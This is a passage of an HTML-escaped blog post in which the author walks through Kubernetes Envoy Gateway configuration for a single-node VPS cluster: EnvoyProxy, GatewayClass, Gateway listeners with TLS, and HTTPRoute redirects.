&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;custom-proxy&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;namespace&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;envoy-gateway-system&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;spec&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;provider&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;Kubernetes&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;kubernetes&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;envoyService&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;NodePort&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;patch&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;          &lt;span style=&quot;color: #cdd6f4;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;StrategicMerge&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;          &lt;span style=&quot;color: #cdd6f4;&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;            &lt;span style=&quot;color: #cdd6f4;&quot;&gt;spec&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;              &lt;span style=&quot;color: #cdd6f4;&quot;&gt;externalIPs&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;              &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;51.161.136.132&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;              &lt;span style=&quot;color: #cdd6f4;&quot;&gt;externalTrafficPolicy&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;Local&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;envoyDeployment&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;pod&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;          &lt;span style=&quot;color: #cdd6f4;&quot;&gt;nodeSelector&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;            &lt;span style=&quot;color: #cdd6f4;&quot;&gt;kubernetes.io/hostname&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;kala&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;---&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;apiVersion&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;gateway.networking.k8s.io/v1&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;kind&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;GatewayClass&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;metadata&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;envoy&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;spec&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;controllerName&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;gateway.envoyproxy.io/gatewayclass-controller&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;parametersRef&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;group&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;gateway.envoyproxy.io&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;kind&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;EnvoyProxy&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;custom-proxy&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;namespace&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;envoy-gateway-system&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I don’t have a &lt;code&gt;LoadBalancer&lt;/code&gt; (the cluster is just one node on a VPS), so we get the Envoy proxy to be a &lt;code&gt;NodePort&lt;/code&gt; service with the IP of the interface we want it to listen on, the same way I used to for Ingress NGINX. Likewise coming across, &lt;code&gt;externalTrafficPolicy: Local&lt;/code&gt; ensures the &lt;a href=&quot;https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/#preserving-the-client-source-ip&quot;&gt;client source IP is preserved&lt;/a&gt;, and the &lt;code&gt;Pod&lt;/code&gt; node selector targets the node I actually can serve internet traffic from. (Technically redundant right now; when I set up Ingress NGINX originally there were multiple nodes, and only &lt;code&gt;kala&lt;/code&gt; is publicly routable, and maybe it’ll be the case in the future again.)&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;GatewayClass&lt;/code&gt; ties the proxy to the gateway we’ll define now:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-yaml&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;---&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;apiVersion&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;gateway.networking.k8s.io/v1&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;kind&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;Gateway&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;metadata&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;eg&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;namespace&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;envoy-gateway-system&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;annotations&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;cert-manager.io/cluster-issuer&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;letsencrypt&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;spec&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;gatewayClassName&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;envoy&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;addresses&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;IPAddress&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;51.161.136.132&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;listeners&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;http&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;protocol&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;HTTP&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;port&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;80&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;allowedRoutes&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;namespaces&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;All&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;  &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;https-kivikakk-ee&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;protocol&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;HTTPS&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;port&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;443&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;hostname&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;kivikakk.ee&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;tls&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;mode&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;Terminate&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;certificateRefs&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;      &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;tls-kivikakk-ee&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;allowedRoutes&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;namespaces&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;All&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;  &lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;# ...&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We need to listen on port 80 for ACME (and HTTP to HTTPS redirects), and then we define listeners for every SNI’able host.&lt;/p&gt;
&lt;p&gt;The HTTP to HTTPS redirect is the first &lt;code&gt;HTTPRoute&lt;/code&gt; and it’s simple:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-yaml&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;---&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;apiVersion&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;gateway.networking.k8s.io/v1&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;kind&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;HTTPRoute&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;metadata&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;http-to-https-redirect&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;namespace&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;envoy-gateway-system&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;spec&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;parentRefs&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;eg&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;sectionName&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;http&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;rules&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;filters&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;RequestRedirect&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;requestRedirect&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;scheme&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;https&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;statusCode&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;301&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Actual services get routes like this; I define these in the individual services’ manifests:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-yaml&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;---&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;apiVersion&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;gateway.networking.k8s.io/v1&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;kind&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;HTTPRoute&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;metadata&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;annotations&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;external-dns.alpha.kubernetes.io/hostname&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;nossa.ee.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;external-dns.alpha.kubernetes.io/ttl&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;24h&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;nossa&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;namespace&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;nossa&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;spec&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;hostnames&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;nossa.ee&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;parentRefs&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
